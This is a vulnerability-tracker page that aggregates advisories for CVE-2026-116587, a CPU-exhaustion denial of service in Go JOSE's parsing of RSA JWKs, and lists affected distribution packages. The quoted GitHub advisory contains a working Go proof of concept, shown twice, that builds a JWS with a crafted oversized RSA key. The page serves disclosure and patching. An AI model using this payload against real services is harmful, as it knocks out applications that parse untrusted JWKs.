CVE-2026-116587
Go JOSE: DoS when parsing JWKs that contain RSA keys
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Go JOSE: DoS when parsing JWKs that contain RSA keys
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
CVE-2026-116587- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2026-110467
7.5
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
EUVD-2026-110467- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mgcc-cww5-fp2q
7.5
Go JOSE: DoS when parsing JWKs that contain RSA keys
Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
- Record
GHSA-mgcc-cww5-fp2q- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-770
- Updated
- 2026-11-02
NVD
7.5
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
CVE-2026-116587- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-770
- Updated
- 2026-11-02
OSVALPINE-CVE-2026-116587
7.5
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
ALPINE-CVE-2026-116587- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-05
OSV
7.5
Go JOSE: DoS when parsing JWKs that contain RSA keys
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
CVE-2026-116587- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-770
- Updated
- 2026-11-07
Show 24 moreShow less
OSVDEBIAN-CVE-2026-116587
7.5
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
DEBIAN-CVE-2026-116587- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-mgcc-cww5-fp2q
7.5
Go JOSE: DoS when parsing JWKs that contain RSA keys
Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
- Record
GHSA-mgcc-cww5-fp2q- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-770
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-116587
7.5
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
UBUNTU-CVE-2026-116587- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-111679 No score
CVE-2026-116587 affecting package buildah 1.43.1-3
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111679- Updated
- 2026-11-05
OSVAZL-111697 No score
CVE-2026-116587 affecting package cri-o 1.30.1-1
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111697- Updated
- 2026-11-05
OSVAZL-111727 No score
CVE-2026-116587 affecting package podman 5.6.1-10
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111727- Updated
- 2026-11-05
OSVAZL-111811 No score
CVE-2026-116587 affecting package azcopy 10.25.1-10
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111811- Updated
- 2026-11-05
OSVAZL-111830 No score
CVE-2026-116587 affecting package cert-manager 1.12.15-15
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111830- Updated
- 2026-11-05
OSVAZL-111863 No score
CVE-2026-116587 affecting package containerd2 2.3.7-1
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111863- Updated
- 2026-11-05
OSVAZL-111884 No score
CVE-2026-116587 affecting package containerized-data-importer 1.62.0-9
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111884- Updated
- 2026-11-05
OSVAZL-111911 No score
CVE-2026-116587 affecting package dcos-cli 1.2.0-22
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111911- Updated
- 2026-11-05
OSVAZL-111965 No score
CVE-2026-116587 affecting package ignition-flatcar 2.22.0-7
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111965- Updated
- 2026-11-05
OSVAZL-111974 No score
CVE-2026-116587 affecting package influxdb 2.7.5-23
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111974- Updated
- 2026-11-05
OSVAZL-111998 No score
CVE-2026-116587 affecting package keda 2.14.1-19
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-111998- Updated
- 2026-11-02
OSVAZL-112028 No score
CVE-2026-116587 affecting package kubernetes 1.30.10-32
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-112028- Updated
- 2026-11-05
OSVAZL-112046 No score
CVE-2026-116587 affecting package libcontainers-common 20240213-3
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-112046- Updated
- 2026-11-05
OSVAZL-112079 No score
CVE-2026-116587 affecting package moby-containerd-cc 1.7.7-19
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-112079- Updated
- 2026-11-05
OSVAZL-112112 No score
CVE-2026-116587 affecting package packer 1.9.5-23
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-112112- Updated
- 2026-11-05
OSVAZL-112229 No score
CVE-2026-116587 affecting package skopeo 1.14.4-15
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-112229- Updated
- 2026-11-05
OSVAZL-112256 No score
CVE-2026-116587 affecting package telegraf 1.31.0-36
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-112256- Updated
- 2026-11-05
OSVAZL-112271 No score
CVE-2026-116587 affecting package vitess 19.0.4-16
Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
- Record
AZL-112271- Updated
- 2026-11-05
OSVopenSUSE-SU-2026:12478-1 No score
skopeo-1.24.0-2.1 on GA media
These are all security issues fixed in the skopeo-1.24.0-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12478-1- Updated
- 2026-11-07
OSVROOT-APP-GOBINARY-CVE-2026-116587 No score
CVE-2026-116587 in github.com/go-jose/go-jose/v4 - Patched by Root
Root has patched CVE-2026-116587 in the github.com/go-jose/go-jose/v4 package for Root:Go. Multiple fixed versions available.
- Record
ROOT-APP-GOBINARY-CVE-2026-116587- Updated
- 2026-11-04
OSVSUSE-SU-2026:24604-1 No score
Security update for google-cloud-sap-agent
This update for google-cloud-sap-agent fixes the following issues:
- CVE-2026-78659: golang.org/x/net/http2: HTTP/2 server memory exhaustion due to Trailer headers (bsc#1286994).
- CVE-2026-78660: golang.org/x/net/http2: HTTP/2 transport accepts malformed framing-related headers (bsc#1287058).
- CVE-2026-78663: golang.org/x/net/http2: double flow control refund on HTTP/2 server streams (bsc#1287137).
- CVE-2026-78669: golang.org/x/net/http2: excessive CPU consumption from repeated initial window changes (bsc#1285292).
- CVE-2026-97032: golang.org/x/net/http2: HTTP/2 server crash due to HPACK encoder race (bsc#1287487).
- CVE-2026-116585,CVE-2026-116586,CVE-2026-116587: github.com/go-jose/go-jose/v4: multiple security issues in github.com/go-jose/go-jose before 4.1.6 (bsc#1288375).
- Record
SUSE-SU-2026:24604-1- Updated
- 2026-11-07
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/go-jose/go-jose/v4Go |
through 4.1.5 | 4.1.6 |
github.com/go-jose/go-jose/v3Go |
through 3.0.5 | None known |
dockerAlpine:v3.24 |
before 29.9.3-r0 | 29.9.3-r0 |
buildahAzure Linux:3 |
through 1.43.1-3 | None known |
cri-oAzure Linux:3 |
through 1.30.1-1 | None known |
podmanAzure Linux:3 |
through 5.6.1-10 | None known |
azcopyAzure Linux:3 |
through 10.25.1-10 | None known |
cert-managerAzure Linux:3 |
through 1.12.15-15 | None known |
containerd2Azure Linux:3 |
through 2.3.7-1 | None known |
containerized-data-importerAzure Linux:3 |
through 1.62.0-9 | None known |
Show 39 moreShow less
| Package | Affected | Fixed |
|---|---|---|
dcos-cliAzure Linux:3 |
through 1.2.0-22 | None known |
ignition-flatcarAzure Linux:3 |
through 2.22.0-7 | None known |
influxdbAzure Linux:3 |
through 2.7.5-23 | None known |
kedaAzure Linux:3 |
through 2.14.1-19 | None known |
kubernetesAzure Linux:3 |
through 1.30.10-32 | None known |
libcontainers-commonAzure Linux:3 |
through 20240213-3 | None known |
moby-containerd-ccAzure Linux:3 |
through 1.7.7-19 | None known |
packerAzure Linux:3 |
through 1.9.5-23 | None known |
skopeoAzure Linux:3 |
through 1.14.4-15 | None known |
telegrafAzure Linux:3 |
through 1.31.0-36 | None known |
vitessAzure Linux:3 |
through 19.0.4-16 | None known |
golang-github-go-jose-go-joseDebian:13 |
All versions, plus listed versions 4.0.5-14.1.3-14.1.4-14.1.4-1~bpo13+14.1.4-2 |
None known |
golang-github-go-jose-go-joseDebian:14 |
All versions, plus listed versions 4.0.5-14.1.3-14.1.4-14.1.4-1~bpo13+14.1.4-2 |
None known |
golang-github-go-jose-go-jose.v3Debian:13 |
All versions, plus listed versions 3.0.3-63.0.5-1 |
None known |
golang-github-go-jose-go-jose.v3Debian:14 |
All versions, plus listed versions 3.0.3-63.0.5-1 |
None known |
golang-gopkg-square-go-jose.v1Debian:12 |
All versions, plus listed versions 1.1.2-4 |
None known |
golang-gopkg-square-go-jose.v1Debian:13 |
All versions, plus listed versions 1.1.2-4 |
None known |
golang-gopkg-square-go-jose.v1Debian:14 |
All versions, plus listed versions 1.1.2-4 |
None known |
golang-gopkg-square-go-jose.v2Debian:12 |
All versions, plus listed versions 2.6.0-22.6.3-12.6.3-22.6.3-32.6.3-42.6.3-4~exp0 |
None known |
golang-gopkg-square-go-jose.v2Debian:13 |
All versions, plus listed versions 2.6.3-32.6.3-42.6.3-4~exp0 |
None known |
golang-gopkg-square-go-jose.v2Debian:14 |
All versions, plus listed versions 2.6.3-32.6.3-42.6.3-4~exp0 |
None known |
github.com/go-jose/go-jose/v4Go |
before 4.1.6 | 4.1.6 |
github.com/go-jose/go-jose/v4Root:Go |
before v4.1.3-aikido.3 | v4.1.3-aikido.3v4.1.4-aikido.1v4.1.5-aikido.1v4.1.0-aikido.3v4.1.2-aikido.2 |
github.com/go-jose/go-jose/v3Root:Go |
before v3.0.5-aikido.1 | v3.0.5-aikido.1v3.0.4-aikido.2 |
rootio-github.com/go-jose/go-jose/v4Root:Go |
before v4.1.3-root.io.3 | v4.1.3-root.io.3v4.1.4-root.io.1v4.1.5-root.io.1v4.1.0-root.io.3v4.1.2-root.io.2 |
rootio-github.com/go-jose/go-jose/v3Root:Go |
before v3.0.5-root.io.1 | v3.0.5-root.io.1v3.0.4-root.io.2 |
google-cloud-sap-agentSUSE:Linux Enterprise Server 16.0 From an advisory covering 8 CVEs |
before 3.15-160000.5.1 | 3.15-160000.5.1 |
google-cloud-sap-agentSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 8 CVEs |
before 3.15-160000.5.1 | 3.15-160000.5.1 |
golang-gopkg-square-go-jose.v2Ubuntu:20.04:LTS |
All versions, plus listed versions 2.3.1-1 |
None known |
golang-gopkg-square-go-jose.v2Ubuntu:22.04:LTS |
All versions, plus listed versions 2.5.1-22.6.0-1 |
None known |
golang-github-go-jose-go-joseUbuntu:24.04:LTS |
All versions, plus listed versions 3.0.1-13.0.1-24.0.1-44.0.1-4ubuntu0.14.0.1-4ubuntu0.24.0.1-4ubuntu0.3 |
None known |
golang-gopkg-square-go-jose.v2Ubuntu:24.04:LTS |
All versions, plus listed versions 2.6.0-2 |
None known |
golang-github-go-jose-go-joseUbuntu:26.10 |
All versions, plus listed versions 4.0.5-1build14.1.4-14.1.4-2 |
None known |
golang-github-go-jose-go-jose.v3Ubuntu:26.10 |
All versions, plus listed versions 3.0.3-6 |
None known |
golang-gopkg-square-go-jose.v2Ubuntu:26.10 |
All versions, plus listed versions 2.6.3-32.6.3-4 |
None known |
golang-github-go-jose-go-jose.v3Ubuntu:26.04:LTS |
All versions, plus listed versions 3.0.3-6 |
None known |
golang-gopkg-square-go-jose.v2Ubuntu:26.04:LTS |
All versions, plus listed versions 2.6.3-3 |
None known |
golang-github-go-jose-go-joseUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 4.0.5-14.0.5-1build14.0.5-1ubuntu0.26.04.1~esm1 |
None known |
skopeoopenSUSE:Tumbleweed From an advisory covering 4 CVEs |
before 1.24.0-2.1 | 1.24.0-2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases, references | OSV | |
| affected, aliases, references | OSV | |
| affected | OSV | |
| affected, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-116587 is a high vulnerability (CVSS 7.5) in Go-jose, published October 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.37%, the 30th percentile. Fixed in github.com/go-jose/go-jose/v4 4.1.6.
References
github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q
github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230
github.com/go-jose/go-jose/releases/tag/v4.1.6
nvd.nist.gov/vuln/detail/CVE-2026-116587
github.com/advisories/GHSA-mgcc-cww5-fp2q
security.alpinelinux.org/vuln/CVE-2026-116587
Show 21 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116587.json
security-tracker.debian.org/tracker/CVE-2026-116587
github.com/go-jose/go-jose
suse.com/support/update/announcement/2026/suse-su-202624604-1
bugzilla.suse.com/1285292
bugzilla.suse.com/1286994
bugzilla.suse.com/1287058
bugzilla.suse.com/1287137
bugzilla.suse.com/1287487
bugzilla.suse.com/1288375
